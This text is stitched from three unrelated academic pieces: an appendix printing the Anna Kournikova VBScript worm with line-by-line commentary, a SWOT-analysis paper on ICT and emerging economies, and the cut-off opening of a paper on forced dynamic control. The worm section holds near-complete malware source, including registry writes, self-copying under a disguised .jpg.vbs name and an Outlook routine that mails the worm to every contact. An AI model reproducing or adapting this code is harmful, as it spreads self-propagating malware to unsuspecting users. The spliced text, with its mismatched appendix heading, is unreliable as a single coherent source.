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8.0 APPENDIX 1: THE ANNAKOURNIKOVA SCRIPT 
// The Title of the Script and the ‘nickname’ of the writer 
'Vbs.OnTheFly Created By OnTheFly 
 
On Error Resume Next  
      // A Windows shell is opened 
     Set WScriptShell = CreateObject("WScript.Shell") 
 
      //Using the shell, it writes into the Windows Registry by creating a   
     Registry Key ”HKCU…”; the last portion is believed to be the Version of         
     Visual Basic Scripting used. 
     WScriptShell.regwrite "HKCU\software\OnTheFly\", "Worm made with      
     Vbswg 1.50b" 
 
     // The target file system of the machine is accessed by creating an Object. 
    Set FileSystemObject = Createobject("scripting.filesystemobject") 
    FileSystemObject.copyfile 
 
    //The AnnaKournikova.jpg.vbs file is copied into the created file in the     
    host machine. 
   wscript.scriptfullname,FileSystemObject.GetSpecialFolder(0) &      
   "\AnnaKournikova.jpg.vbs" 
 
          //By setting a condition, it confirms if the mass-mailing routine has     
          been executed. If not, it mails all contacts in Microsoft Outlook   
          address book. Then it sets a key value of “1” to avoid running the    
          mail routine again. 
           if WScriptShell.regread ("HKCU\software\OnTheFly\mailed") <> "1"         
           then  doMail() 
           end if 
 
           //Another Condition: If Month is January and Day is 26, it directs the  
          user’s web browser to a URL in the Netherlands. 
          if month(now) = 1 and day(now) = 26 then 
         WScriptShell.run "Http://www.dynabyte.nl",3 ,false 
          end if 
 
     //Otherwise, it opens the worm script again and attempts to run it. 
    Set thisScript = FileSystemObject.opentextfile(wscript.scriptfullname, 1) 
    thisScriptText = thisScript.readall 
    thisScript.Close 
 
 //A Condition: If the script file does not exist on the machine,  
 
Do 
If Not (FileSystemObject.fileexists (wscript.scriptfullname)) Then 
 
  // It creates the script file as a text file. 
 Set newFile = FileSystemObject.createtextfile (wscript.scriptfullname, True) 
 newFile.write thisScriptText  
 
//Then, it writes into the text file created. 
 newFile.Close 
 End If 
 
      //A Loop Begins 
     Loop 
 
     // The Mass- Mailing routine of the worm Begins 
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     Function doMail() 
 
     On Error Resume Next  
 
     //An Object is created in Microsoft Outlook of the Host system 
     Set OutlookApp = CreateObject("Outlook.Application") 
              
              //A condition is set for mass-mailing to commence 
              If OutlookApp = "Outlook" Then 
 
              // Microsoft Outlook gets the addresses in the address book and    
             puts them on the mailing list    
              Set MAPINameSpace = OutlookApp.GetNameSpace("MAPI") 
              Set AddressLists = MAPINameSpace.AddressLists 
              
              For Each address In AddressLists 
                         
                        // Counts the addresses in the Address book, If it’s not zero,  
                        If address.AddressEntries.Count <> 0 Then 
                        entryCount = address.AddressEntries.Count 
                         
                                // It gets an Entry. 
                                For i = 1 To entryCount 
                                Set newItem = OutlookApp.CreateItem(0) 
                                Set currentAddress = address.AddressEntries(i) 
                                  
                                // An Assignment, the message to be included in the new   
                               Entry is attached.  
                                newItem.To = currentAddress.Address 
                                newItem.Subject = "Here you have, ;o)" 
                                newItem.Body = "Hi:" & vbcrlf & "Check This!"& vbcrlf & "" 
                               
                               // It creates an attachment in which the Tennis Player’s  
                              image is attached. 
                               set attachments = newItem.Attachments 
                               attachments.Add FileSystemObject.GetSpecialFolder(0) &  
                               "\AnnaKournikova.jpg.vbs" 
                              
                             // If the attachment is deleted, it attempts to recreate itself. 
                             newItem.DeleteAfterSubmit = True 
                                      If newItem.To <> "" Then 
                                      newItem.Send 
                                        
                              WScriptShell.regwrite"HKCU\software\OnTheFly\mailed",        
                                 "1" 
                                     End If 
           Next 
          
           // End of Loop 
           End If 
      Next  
  end if 
 
End Function 
'Vbswg 1.50b 
[62NDS04] 
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ABSTRACT 
 
The digital world in context places humans into two 
main categories, “information haves” and “have nots”. 
This reflects in both advanced and developing 
economies. Although some new and emerging 
economies have taken advantage of this new world 
order, others wonder in wilderness and struggle to cope 
with the pace and dynamics employed by more advanced 
economies.  This paper presents findings from a SWOT 
analysis of the digital world and survivability of 
emerging economies with cases mainly from developing 
economies. 
 
 
1.0 INTRODUCTION 
 
The systems that drive economies in today’s world are 
being taken over by digitization and cyber-
communication. This means that economies and 
communities that trail behind the pace of digitization and 
cyber-communication are likely to be excluded from 
commercial societies and international trade. This is 
because stronger economies conduct business and trade 
by employing electronic business systems and new 
technologies as tools that facilitate business processes. In 
the paper bridging the digital divide “linking and closing 
the gap between advanced and developing economies, 
Anderson D (2005), presents a historical analysis of how 
a “bridge” literally links communities together to drive 
trade and commerce. ICT, digitization and cyber-
communication are the frontiers that form this bridge in 
this era. In the paper assessing the economics of 
electronic security Arreymbi and Williams (2005) 
asserts the need to evaluate non technological factors 
which they believe influence economies of developing 
countries. Some of their views contrast findings of 
OECD with regards to technological studies. This paper 
applies SWOT analysis in exploiting economic 
survivability of emerging economies. The paper is 
organised as follows; Section one provides the 
background to this work Section 2 is an overview of ICT 
activities that drive the digital economy, Section 3 is an 
evaluation of the findings drawn from the application of 
the SWOT framework, Section 4 discussions and 
Conclusions. 
 
 
 
 
 

1.1 Background  
 
Economies thrive on availability of resources and how 
these resources are managed D Anderson (2005). 
Historically economies have been driven by factors, such 
as resource availability, political environment and 
sometimes culture in societies. The latter is least 
exploited as an engine for propelling an economy to 
success. In this era we face the challenge of managing 
technology as a catalyst to economic development and 
transformation. It can also determine the success or 
failure of any business in modern society. According to 
Delong and Froomkin (2000), non rivalry and absence of 
excludability among services and products makes 
Adams Smith’s principle of “invisible hand” at the 
market place unstable. This is because the nature of 
services and products available to consumers on the 
market has radically changed as a result of the systems 
that support commercial activities. In other words 
systems that support e-commerce and e-business 
activities suppress the concept of excludability as a 
means of protecting the value a service provider, seller 
and product manufacturer place on products and services 
at the market place. Organisations in both private and 
government sectors historically played important roles. 
We have passed through a metamorphosis of 
organisational structures and management styles. This 
permeates from the ancient hierarchical structure style of 
organisation, the human relations in the 1950’s to 1960’s 
driven by management gurus such as Rosemary Stewart 
of Ford Motors and the Information age which has now 
evolved to the digital and cyber-communication age. 
Organisational culture within private and public sectors 
also drive economies. Section two explores electronic 
commerce and business activities which have become 
central to economic activities in developing and 
advanced economies.  
 
1.2 The Effect of ICT in Emerging Economies 
 
Globalization has drastically improved access of 
advanced technologies to most deprived economies of 
the world. Technological upgrading is important for 
development, to an extent that it provides a unique 
opportunity for advancing economies to raise per capita 
income, and also improves the demand for skilled 
labour.  Nagy (1991) reported the Malaysian Prime 
Minister Mahathir Mohammed as saying: “It can be no 
accident that there is today no wealthy developed 
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country that is information poor, and no information rich 
country that is poor and underdeveloped”. This 
statement emphasizes the importance of the Internet for 
emerging economies. From an international perspective 
access to and use of the Internet is unbalanced due to 
factors which will be highlighted later in this paper. 
There are obvious gaps between developed and 
developing economies in terms of the numbers of nets, 
hosts and users. John (1995) agrees and quotes a study 
from the Panos Institute which indicated that, there is a 
danger of a new information elitism which excludes the 
majority of the world's population. 
 
Many see the ICT as an opportunity to gain access to 
knowledge and services from around the world in a way 
that would have been unimaginable previously.  For 
example, Internet kiosks, Telephone call boxes (phone 
booths) mostly facilitating email and phone calls to 
overseas relatives, are springing up in many parts of 
Europe, Africa, Asia and Middle East. Meanwhile poor 
land line telephone systems in most of Africa and Asia 
are rapidly being bypassed by mobile phones, some of 
which have internet access or Internet cafes with Voice 
Over Internet Protocol (VOIP) enabled technologies. 
 
ICT has also significantly changed information 
management in developed economies through creating 
pressures to improve communication systems and 
develop more user friendly environments for information 
sharing.  Now the Internet is penetrating developing 
economies, and changing information practices in 
various sectors.  The web for example, is also changing 
traditional ways of conducting information business in 
developing economies by establishing new sources of 
information and new modes of commu nication. It has 
created pressure to update information/technology 
infrastructures and has similarly created competition by 
bringing many international and indigenous information 
technology vendors on to the same platform, and 
providing policy makers in these economies, the 
opportunity to take advantage of access to global 
information resources. 
 
2.0 OVERVIEW OF ICT ACTIVITIES THAT 
DRIVE THE DIGITAL ECONOMY 
 
The Internet is now a complex Web of networks 
connected with high-speed links cutting across countries. 
There are no set boundaries for the Internet in 
cyberspace. It is estimated that the rate of growth in 
Internet use is around 20 per cent a month and with over 
50 million users (MIDS Press). Presently the Internet is 
not proprietary and is available to anyone with computer 
access connecting to the vast information market in 
many countries. Internet allows information to flow 
through many different interconnected computer 
networks worldwide. 
 
Aguolu (1997) defines “developing” or “emerging” 
economies as the less industrialized and economically 

developing nations of the world, usually with less than 
$500 per capita income.  In essence, such economies 
have a great desire for rapid growth and industrialization 
and are striving to provide adequate basic infrastructures 
that foster development and promote information 
accessibility, such as health, education and library 
services, steady supply of electricity, good roads and 
transportation, and  postal and telecommunication 
networks, etc 
 
The relevance of Internet access to such economies is the 
degree to which the lives of those who do not have 
access could be improved by having it. Clearly, in such 
calculations, the role of the nation is very important, 
because the result of lack of ICT or Internet access 
affects the entire country (Sadowsky, 1996). 
 
2.1 Developing Economies and ICT-web 
 
Many applications exist on the Internet. However, it is 
the web which has the most significant capability and 
momentum in the commercial use of the Internet 
(Berners-Lee et al., 1993; Cockburn and Wilson, 1996; 
Semich, 1995). The rapid expansion of the worldwide 
web holds substantial promise for developing 
economies, often referred to as "information have-nots" 
(Arunachalam, 1998) and are considered as "the "lost 
continent" of information technology" (Odedra et al., 
1993), and which can benefit greatly from it's 
communication and information delivery capabilities. 
The accelerating transition of information to electronic 
media is making information resources of the world 
available to an increasingly global audience through the 
ICT-web. Developing economies have much to gain 
from that revolution in communication and information 
access. In contrast to the situation in the developed 
world, where transport and communications 
infrastructures for delivery of both physical goods and 
information services are well established, the alternatives 
available within developing countries are generally slow, 
expensive, or nonexistent. 
 
Increasingly, many analysts agree that, the impact of the 
ICT-Web and its resources in emerging economies 
(Bhatnagar, 2000; Jimba and Atinmo, 2000; Madon, 
2000; Morales-Gomez and Melesse, 1998; Talero and 
Gaudette, 1996), have generally provided avenues 
supportive of the development process by making 
information and knowledge more accessible, and more 
directly useful in applications such as distance learning, 
telemedicine and geographic information systems. Its 
role is considered crucial to the provision of people's 
basic needs, such as healthcare, food, and shelter, both in 
emergency situations and in the longer term, directly in 
social economic terms and indirectly by enabling 
research activities (Avgerou, 1998; OECD, 2000).  The 
resources of the web are increasingly playing a crucial 
role in developing economies' capacities to produce 
access and apply information, and thereby to enhance the 
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process of acquisition and sharing of knowledge 
(Morales-Gomez and Melesse, 1998).  
 
The correlation between information, communication, 
and economic growth is well-known, making the 
usefulness of the Internet nearly self-evident. Electronic 
networking is a powerful, rapid, and inexpensive way to 
communicate and to exchange information. When 
networks are available, previously unanticipated 
collaboration seems to come into being almost 
spontaneously. The underlying cause seems to involve a 
latent demand that remains latent as long as joint work 
requires either the disruption of waiting for the mail, the 
continual retyping of texts transmitted by mail or fax, or 
the need to secure large budgets and approvals for 
extensive international travel. 

The Worldwide web is also crucial to scientific research 
and development efforts, many of which yield tangible 
economic benefits. Commercial economic growth is 
enhanced by access to information and improved contact 
with support personnel.  Although academic research 
institutions in advancing countries may be using the 
resources of the web for these purposes, very few studies 
have explored this phenomenon. A rare exception is a 
study by Jimba and Atinmo (2000), which found that 
Internet accessibility had no positive impact on the 
number of publications in five research institutions in 
Africa. Jimba and Atinmo list several reasons for this 
surprising result, such as low productivity in general, the 
content of the electronic databases not being relevant to 
the researchers in question, and that African knowledge 
was not integrated with the services. 

And as has been demonstrated in a number of countries 
including Cameroon, the link between the free flow of 
information and movement toward democratization 
cannot be downplayed. Access to information affects 
political democratization efforts at the global level as 
well as within nations. In advancing economies where 
much of the media is controlled by the state, and 
individual access to the web is currently limited, the 
need to decentralize control over information and over 
networks themselves is clear in this regard.   

2.2 Barriers and challenges for developing and 
advanced economies 
 
A major problem facing emerging economies is the 
problem of information (in)accessibility. Though 
information is widely recognized as a catalyst for both 
personal and national development (IFLA, 1988), many 
people, especially in the developing economies, are still 
unaware of the need for information and fail to exploit it 
even when information materials are available for free as 
in libraries and information centres. This is because the 
availability of information does not necessarily mean its 
accessibility. The wealth of information available or in 
existence in the world today is tremendous and the sheer 

volume of it, in a myriad formats, makes it impossible 
for one to have complete access to it. 
 
Other obstacles to information accessibility in 
developing economies as enumerated by Doob (1961), 
Schramm (1964) and Turner (1988), includes illiteracy 
and lack of awareness of the need for information; 
geographical distances; poverty and underdevelopment. 
These constraints hardly exist in developed or advanced 
and industrialized economies, where basic 
infrastructures and facilities exist and the majority of the 
populace, about 96 per cent according to UNESCO 
(1991), is literate and educated and are able to exploit 
information resources systematically. However, the 
developed economies constitute only about 20 per cent 
of the estimated six billion people who populate the 
world today (UNESCO: 1991). The rest, comprising 
about four billion people, live in developing economies. 
And 70 per cent of these people are illiterate and cannot 
exploit the information stored in print and other media 
formats. These people are generally peasant farmers, 
craftsmen and women who are in most cases, unaware of 
the need for information and live their lives routinely, 
using whatever little information they may stumble on, 
or is passed to them orally by relatives, friends, 
colleagues, community and religious workers.  
 
Poverty is also a prevalent characteristic of most 
advancing economies. While advanced economies such 
as the UK and USA can afford to spend over 10 per cent 
of its national resources (GDP) on information services 
alone (Garfield: 2001), advancing economies often 
spend less than 1 per cent on them. Much of their scarce 
funds is allocated to other social services like health, 
government, education, housing, agriculture, 
transportation, etc., which are given priority over 
information systems such as libraries, documentation 
and information centres etc. 
 
Poor communications and transportation facilities, which 
are regular features of advancing economies, also 
constrain information transfer and accessibility both 
locally and internationally. Poor infrastructure, 
transportation and postal and telecommunications 
services are a great impediment to the free flow of 
information, as Schram (1964) emphasized. Inefficient  
telecommunication and transportation systems by air, sea 
and land such as unreliable telephone and postal 
facilities, as well as irregular train, airplane, bus/car 
services, will greatly hinder information dissemination. 
 
In Cameroon, for instance, most of its population is 
scattered in numerous communities of towns and 
villages often with great physical distances between 
them. The free flow of information among and beyond 
the communities requires sound developmental 
infrastructures such as regular electricity supply, good 
roads, vehicles, trains, aeroplanes, airports and steady 
postal and telecommunication services. Some of these 
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amenities exist but their quantity and quality are 
generally inadequate and poor. 
 
Khan (2001) identifies the major causes of poverty in 
developing economies as the political environment, 
systemic discrimination based on gender, race, ethnicity, 
religion, or caste, political inclinations or affiliations, ill-
defined property rights to agricultural land and other 
natural resources, high concentration of land ownership 
giving unfair disadvantage to tenants, political 
corruption and/or bureaucratic red tape, large family 
sizes resulting in high dependency ratios, and national 
economic and social policy biases. 

Information poverty in such situations, is one of the 
more significant and insidious obstacles to effective 
exploitation of information processing and other types of 
technology. Lack of adequate information regarding 
developments in other countries and other environments 
is often not noticed, and in the absence of new 
information, old techniques and procedures are 
continued without conscious knowledge of alternatives. 
In addition, even though developing nations may not be 
hurt in an absolute sense by lack of information, they are 
certainly negatively affected by any relative measure 
(Sadowsky, 1996). 

In general, within developing-economic environments, 
requisite specialized knowledge is often either missing 
or in short supply. There is generally substantial 
competition for the scarce, more talented individuals 
within both the public and the private sectors as well as 
between them. Emigration to better labour markets in the 
more advanced economies - the so-called ‘Brain Drain 
Syndrome’ - causes depletion of the resources necessary 
to exploit technology, in the face of countries having a 
limited set of human resources with which to work. Most 
but not all developing economies are financially poor 
relative to developed economies. They suffer from low 
levels of both Institutionalised financial assets and 
National income. Their economies are subject to wide-
ranging performance fluctuations due to factors beyond 
their immediate control. Some are not viable without 
sustained development assistance. 

Increasingly many emerging economies are benefiting 
from direct assistance in transferring technology to 
themselves. Involvement with private-sector firms in 
developed countries can have substantial benefits; with 
policies promoting domestic investment as well as 
taxation and profit repatriation incentives, can encourage 
firms to enter local markets and provide benefits for the 
economy. Private foreign investment in high-technology 
fields often brings with it significant flows of 
information and training opportunities. 

 
3.0 – EVALUATION OF FINDINGS FROM SWOT  
 

This section assesses the findings derived from the 
SWOT analysis as indicated in appendix 1. The 
evaluation is based on a cross section of the strengths, 
weaknesses, opportunities and threats highlighted and 
central to the criteria of this study.  
 
3.1 Labour  
 
ICT is changing the labour market in developing 
economies. The pace of ICT development and 
deployment in developing economies is leapfrogging 
while skills required to drive and sustain this process 
seem to be relatively crawling. Transportation, 
outsourcing, subcontracting, accessibility, equality and 
new investment opportunities are all strengths that are 
likely to facilitate social progress. Zachamann R (2004). 
These strengths as highlighted by Zachamann had some 
bearing with our analysis. Untapped skills and 
capabilities within developing economies, is a “gold 
mine” to explore. This could have economic value when 
properly natured and cultivated. A recent initiative by 
the AICE foundation in Ghana is exploring this avenue 
as a means of tapping into the technical capabilities of 
graduates in the local economy. There is also the 
strength of cheaper labour cost that could increase the 
demand for outsourcing and delocalization of services. 
 
3.2 Cost of transportation  
 
Cost of transportation is an area that could be explored 
with effective implementation of ICT and cyber-
communication. This could speed up the transformation 
of rural communities among developing economies. 
Farmers in rural areas could take advantage of cyber-
technology and ICT systems to assess the need and 
feasibility of transporting food stuffs to urban 
communities. This is opportunity could be hampered by 
the lack of technological infrastructure in rural areas. 
The application of wireless communication technologies 
seem to becoming the panacea for addressing this 
shortfall.  
 
3.3 Moral and Value System 
 
Our analysis shows that, high moral value is placed on 
ICT systems among developing economies. In contrast 
advanced economies do not place such moral value on 
ICT systems. This is drawn from the prevalence of 
internet and web pornography in advanced economies. 
However, one can not be absolutely sure whether such 
cyber morality adds any economic value. On the 
contrary there is evidence that internet pornography 
yields economic value in advanced economies.    
 
3.4 Infrastructure 
 
Infrastructure could serve as strength as well as a 
weakness. This implies there are opportunities that could 
be exploited given the fact that most technologies 
associated with mobile communication in advanced 
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economies also exists in developing economies Williams 
(2003). This is also depicted by figures 1,2 and 3.from 
the International Telecommunication Union report. 
There are however impediments that suffocate the use 
and application of them. This range from poor leadership 
and management style, cultural attitudes, the lack of 
political will and commitment, government regulation, 
lack of policies and standards and inadequate know how 
as mentioned previously. Such weaknesses could lead to 
capital loses that could cause economic collapse. ICT 
infrastructure and cyber-communication systems lack the 
security systems, policies and standards necessary in 
ensuring confidentiality, integrity and availability of 
systems essential in boosting confidence amongst 
investors within the international community. 
Government policies and regulations sometimes lack 
clarity among countries in developing economies. 
Activities of service providers are not rigorously 
regulated. Most Systems are by V-SAT communication 
networks through advanced economies. This becomes 
difficult to manage. These issues threaten the 
survivability of these economies in the digital world and 

economy. Until developing economies resolves to 
address these issues they stand the danger of being 
relegated to economies that survive on the edges of 
surpluses from advanced countries. There is also the 
danger that advanced economies will be forced to 
address these issues as a result of the nature of the global 
economy and its inherent principle of economic, social 
and moral dependency. 
 
Emerging economies generally face problems: that 
impact on the capability to manage infrastructure. There 
is low level of education and literacy, and a wide gap 
between the disposable income of the relatively few 
“haves” and the more numerous “have-nots.” Use of the 
ICT requires a fairly complex set of skills that could be 
acquired through training. At the very least, one must 
have electricity, a communications line, a terminal 
capable of interacting across the communications lines, 
and (in most cases) a reasonable fluency in English (80 
percent of the material on the web is written in English 
All of these factors contribute to existence and 
sustenance of the digital infrastructure. 

 
 
 
 
 
Figure 1 

 
 
 
Figure 1depicts Fixed Line penetration per 100 
inhabitants  
 
 
 
 
Figure 2 

 
 
Figure 2 depicts penetration of Mobile and Cellular 
Communication subscribers per 100 inhabitants 
 
 
Figure 3 
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Figure 3 – Depicts penetration of Internet users per 100 
inhabitants 
 
 
3.5 Capital Funding and Investment  
 
Funding required in setting up ICT related businesses 
could be mobilized by SMEs in developing economies. 
Recently there have a proliferation of Internet Café’s 
among countries in Africa.  This is not only due to the 
ability to mobilize capital fund. Awareness is also 
increasing, if not catapulting amongst these 
communities. This is creating a vehicle for creating 
partnerships between advanced and developing 
economies. In 2002 Ghana passed a bill governing 
Venture Capitalism to provide a regulatory framework 
for SMEs. This indicates the recognition of role SMEs 
and their role and contribution towards domestic 
economic growth. 
 
3.6 Legal framework and Legislation  
 
Legal framework in emerging economies is weak. The 
judiciary can operate effectively as a result of numerous 
reasons. Laws and by laws enacted do not address legal 
current matters related to cyber communication. There is 
problem related to enforcement due to porous security 
systems and the non existence of cyber policing. These 
are legal issues that have to be addressed domestically in 
order for emerging and developing economies to adjust 
to the pace of electronic commerce and business 
activities on going in advanced economies. On the 

international scene legislation and directives within the 
European Union stifle ecommerce activities in emerging 
economies. 
 
 
3.7 Self imposed economic sanctions 
 
Specifically, in Afghanistan and other countries in the 
Middle East, government opposition to ICT has been a 
major factor in limiting Internet access. Many Middle 
Eastern leaders view the Internet as a Western-based 
agent of moral and political subversion. As a result, 
many countries strictly enforce limits on Internet 
connectivity. Whereas Egypt and Jordan have been 
relatively progressive in building Internet connections, 
countries such as Saudi Arabia have shown more 
resistance to allowing widespread access to the Net. 
Internet access is very limited in Syria, and Libya and 
Iraq prohibit any kind of Internet access. Bahrain and 
Tunisia openly monitor Internet traffic, and the United 
Arab Emirates and Yemen use proxy servers that can 
prevent users from accessing “undesirable” sites. Iran 
allows access, but the extent of the traffic monitoring in 
that country is uncertain (Alterman, 2000). 
 
 
4.0 CONCLUSIONS  
 
The importance of expanding the access of emerging 
economies to the Internet has been recognised by 
governments and international agencies with increasing 
consensus that the Internet and related 
telecommunications technology should be regarded as 
strategic national infrastructure (Kenney, 1995; Mansell 
and Wehn, 1998). This has led to significant rates of 
increase in the regional distribution of Internet host 
connections over the last few years (ITU, 1999), 
Arreymbi and Williams (2005), Williams (2004).  
 
The establishment of such strategic infrastructure is 
considered critical for the survivability of emerging 
economies where the marginal impact of improved 
network communications can lead to improved 
economic productivity, governance, education, health 
and quality of life, particularly in rural areas (Adam, 
1996; Press, 1996). For example, in Africa, the growth 
of small scale, low cost electronic networks has been 
influential in building an academic and research 
community within the continent that discusses and 
shares topics of concern (Adam, 1996; Panos, 1998), 
Williams (2005).  
 
Another example is the networking project launched by 
the Commonwealth Secretariat in 1990 called 
COMNET -IT. The project aims to improve government 
collaboration within the commonwealth group of 
countries using electronic networks to facilitate the 
sharing of data on administrative reform experiences 
(Qureshi and Cornford, 1994). These suggest that wider 
connectivity within developing economies would 
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improve the overall information infrastructure and 
therefore promote positive changes in socio-economic 
and/or political development. 
 
Despite increases in the provision of information 
services that are available through the Internet for users 
in emerging economies, there is considerable scepticism 
regarding the potential of the technology for socio-
economic development. For example, most Internet 
diffusion statistics, although impressive, does not do 
justice to reports on Internet density and cyber 
communication penetration among emerging economies. 
This is sometimes as a result of the methodology applied 
in the studies. The studies do not take into factors such 
as size of population in each country or region in these 
economies.  
 
The fear expressed in this paper is that the poor 
financial, technical and human resources and weaknesses 
highlighted in the SWOT analysis in emerging 
economies would perpetuate further ties of dependency 
on advanced economies. We do not have silver bullet 
type of answers to these weaknesses, but however 
believe that successful cases such as the tiger economies 
could be emulated by others countries in trailing behind 
the economic ladder. Our future studies will explore 
strategies and business models that could transform the 
emerging economies falling behind. 
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Criteria 
 
Capabilities?  
Competitive advantages?  
USP’s (unique selling 
points)?  
Resources, Assets, 
People?  
Experience, knowledge, 
data?  
Financial reserves, likely 
returns?  
Marketing – reach, 
distribution, awareness?  
Innovative aspects?  
Location and 
geographical?  
Price, value, quality?  
Accreditations, 
qualifications, 
certifications?  
Processes, systems, IT, 
communications?  
Cultural, attitudinal, 
behavioural?  
Management cover, 
succession? 
Philosophy and values?   

Strengths 
 

• High moral values attached to ICT 
• Infrastructures already exist(Wired-Wireless) 
• Cheap Labour /Cost effectiveness resulting to 

increase outsourcing to these areas, Cost 
Effective Services (Soft Tribe of Ghana in 
Africa), this is reflects in ASIA (India, 
Taiwan, Bangladesh)   

• Accessible to all 
• Attractive goods/services 
• Mostly up-to-date & high technologies 

deployment 
• Learn better & quickly from costly mistakes 

of the developed economies 
• Cellular technology is truly democratic 
• Faster mo vement of communication & 

information 
• Improve awareness & keeping in touch 
• Seen as a status symbol or social status. 
• Culture (Serves as Driving force),  
• Untapped resources (Human power/labour),  
• New market entrants,  
• Reputation for Outsourcing e.g. ASIA Market, 

(India and China), Africa  

 
 

Weaknesses  
 

• Inadequate resources available 
• Limited use of resources (digital library & 

Internet 
• Administrative bottlenecks 
• Poor existing Infrastructures 
• Lack of human-power for technical 

programming 
• ICT solutions from advanced economies do 

not always work in advancing economies 
• Technological imperialism to some extent 
• Lack of political will 
• Absence of adequate know-how  
• No structural policies in place 
• Development plans not adequately followed 

(inconsistencies) 
• Limited disposable income/purchasing power 

parity/low per capita income 
• Few financial institutions to support structural 

adjustments 
• Limited accessibilities to funding 
• Low capital investments 
• Insecurity of the domains 
• Leadership, Role of Government (Policy and 

Regulatory Role)  
• Non-Effective Implementation of Legislation  
• Tax systems.  
• Legal framework , (Domestic) 
• Infrastructure,  
• Non standard Systems poorly accredited  
• No evidence of Certification of Software and 

Hardware.  
• Poor attitudes to business,  

Criteria 
 
Gaps in capabilities?  
Lack of competitive 
strength?  
Reputation, presence and 
reach?  
Financials?  
Own known 
vulnerabilities?  
Timescales, deadlines 
and pressures?  
Cashflow, start-up cash-
drain?  
Continuity, supply chain 
robustness?  
Effects on core activities, 
distraction?  
Reliability of data, plan 
predictability?  
Morale, commitment, 
leadership?  
Accreditations, etc?  
Processes and systems, 
etc?  
Management cover, 
succession?  
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• Poor Governance  
• Reputation of Market place (Africa)  
• Legislation e.g. EU directives and other 

legislation on Developing economies market 
(Africa, and some parts of ASIA),  

• Processes and information systems  
• Cost of Manpower 
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Criteria 
 
Market developments?  
Competitors' 
vulnerabilities?  
Industry or lifestyle 
trends?  
Technology development 
and innovation?  
Global influences?  
New markets, vertical, 
horizontal?  
Niche target markets?  
Geographical, export, 
import?  
New USP's?  
Tactics: eg, surprise, 
major contracts?  
Business and product 
development?  
Information and 
research?  
Partnerships, agencies, 
distribution?  
Volumes, production, 

Opportunities 
 

• Vast market potentials  
• Empowering people with tools & techniques 
• Communalization 
• Large & unexploited population 
• Extremely poor people willing to make 

sacrifices in order to have access (e.g. some 
people will prefer airtime to food with their 
wages – Opportunity costs). 

• Low cost investments with high returns 
• Awareness is increasing at a faster than usual 

rate compared to western economies 
• Digitalisation is bringing the world ever more 

closer than expected 
• Improve & increasing number of 

accreditations 
• Many players coming in to give consumers 

more choice 
• Capital leverage 
• Opportunity for distance/e-learning education 
• Global village for resources & innovation 
• Distance and e-learning,  
• New Market, Cheaper and more efficient 

means of disseminating market information  
• Advertising,  
• Lower Capital Fund  
• Tourism  
• Internet Publishing,  
• Investment and New ventures  

Threats 
 

• Political instability 
• Inadequate legal framework to support 

business 
• Embedded bureaucratic systems  
• Corrupt administrators/financiers 
• Inadequate insurance to cover for 

financial/other capital losses  
• Sluggish ICT demand and/or affordability 
• Lack of motivational/incentives to 

learn/perform 
• Severe/adverse environmental condition e.g. 

heavy rainfall 
• Inadequate market penetration/uptake of 

technology 
• Limited resources to meet demand or improve 

situations.  
• Serious cultural dimensions 
• Lack of local constraints  
• Many trap in poverty 
• Failure to bridge digital divide may in time 

cost the world so much losses.  
• World Trade Systems serves as trade barrier   
• Self imposed economic sanctions (China, 

Korea etc.) 
•  Segregated Communities (Information Haves 

and Have-nots,  
•  Electronic Crime,  
• Unstable/Poor Governance and impact on 

investments, Economic Collapse   
• Social exclusion from the E-Society,  
• Segregation and from Cyber Market place. 

Criteria 
 
Political effects?  
Legislative effects?  
Environmental effects?  
IT developments?  
Competitor intentions - 
various?  
Market demand?  
New technologies, 
services, ideas?  
Vital contracts and 
partners?  
Sustaining internal 
capabilities?  
Obstacles faced?  
Insurmountable 
weaknesses?  
Loss of key staff?  
Sustainable financial 
backing?  
Economy - home, abroad?  
Seasonality, weather 
effects? 
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ABSTRACT 

Forced dynamic control (FDC) is a generally applicable 
model based control technique in the time domain 
originated by the author, extending to nonlinear 
multivariable plants, which takes advantage of modern 
digital processor implementation. The closed-loop 
system is forced to obey a specified dynamics, which 
may be linear or nonlinear, according to the needs of the 
application. The plant model and the FDC can be 
formulated in the continuous or discrete time domain. 
Examples are given and simulation results presented of 
the application of FDC to power control in wireless 
communication networks. 
 
INTRODUCTION 

 
Relatively simple single input, single output control 
problems can be solved using a standard industrial PID 
(Proportional Integral Derivative) controller whose gains 
can be determined by trial and error to yield an acceptable 
closed-loop dynamic response to changing reference 
inputs.  From the 1930s onwards and to date, more 
challenging single input, single output control problems 
have benefited from the frequency domain methods 
instigated by Bode to design a compensator to yield an 
acceptable performance in terms of gain and phase 
margins, but this method cannot be used to yield a 
precisely specified closed-loop performance in the time 
domain such as settling time and maximum overshoot of 
the step response, unless the closed-loop system has one 
or two dominant poles in its transfer function. In the 
1940s, Evans introduced the root locus design method to 
produce similar compensators. 

Many plants have more than one control (input) variable 
and more than one controlled (output) variable with 
considerable interaction, meaning that each control 
variable affects all the controlled variables. In the 1960s, 
Rosenbrock first produced design methods in the 
frequency domain and McFarlane introduced the 
characteristic locus method, an extension of the root locus 
method, but both restricted to linear plants. 

The 1960’s also saw the evolvement of the state space 
methods, in which a dynamical system is modelled as an  
 
interconnected set of first order differential equations 
whose dependent variables are referred to as the state 
variables, collectively referred to as the state. The 
behaviour of the system is then completely determined by 
the variation of the state with time, which, for an nth order 
system, can be  
 
visualised as a trajectory in n-dimensional space whose 
coordinates are the state variables. Thus, the state of a 
plant to be controlled contains all the information about its 
dynamic behaviour. It follows that if the plant state or its 
estimate is made available to the controller, then it can be 
designed to achieve good control. The forced dynamic 
control method exploits this truth. The first state space 
control system design methods were restricted to linear 
dynamical systems, but providing mathematical 
procedures leading to the derivation of control algorithms 
applicable to plants of arbitrarily high order. One useful 
state space method is pole (or eigenvalue) assignment, in 
which the closed-loop poles, i.e., the eigenvalues of the 
closed-loop system matrix, may be chosen to yield the 
desired dynamic response to time varying reference inputs 
and then the state feedback gains are calculated, as 
functions of these poles and the plant parameters, to 
achieve this. This led to eigenstructure assignment for 
multivariable plants in which the eigenvectors of the 
closed-loop system matrix are chosen to minimise 
interaction in the closed-loop system as well as yield the 
desired dynamic characteristics. All the aforementioned 
linear control theory can be extended to the control of 
nonlinear plants by linearising nonlinear state space 
models about operating points, but this is restricted to 
applications in which the state does not move far from the 
operating point, meaning that the reference inputs are 
constant set points  or only slowly changing compared 
with the closed-loop step response, new operating points 
being chosen and new controller gains calculated when 
necessary (gain scheduling). Much more recently, Isidori 
[1] introduced feedback linearisation, a state space method 
for nonlinear plants yielding a linear closed-loop system.  
This is the most closely related control technique to FDC 
and solved many of the aforementioned problems. It is, 
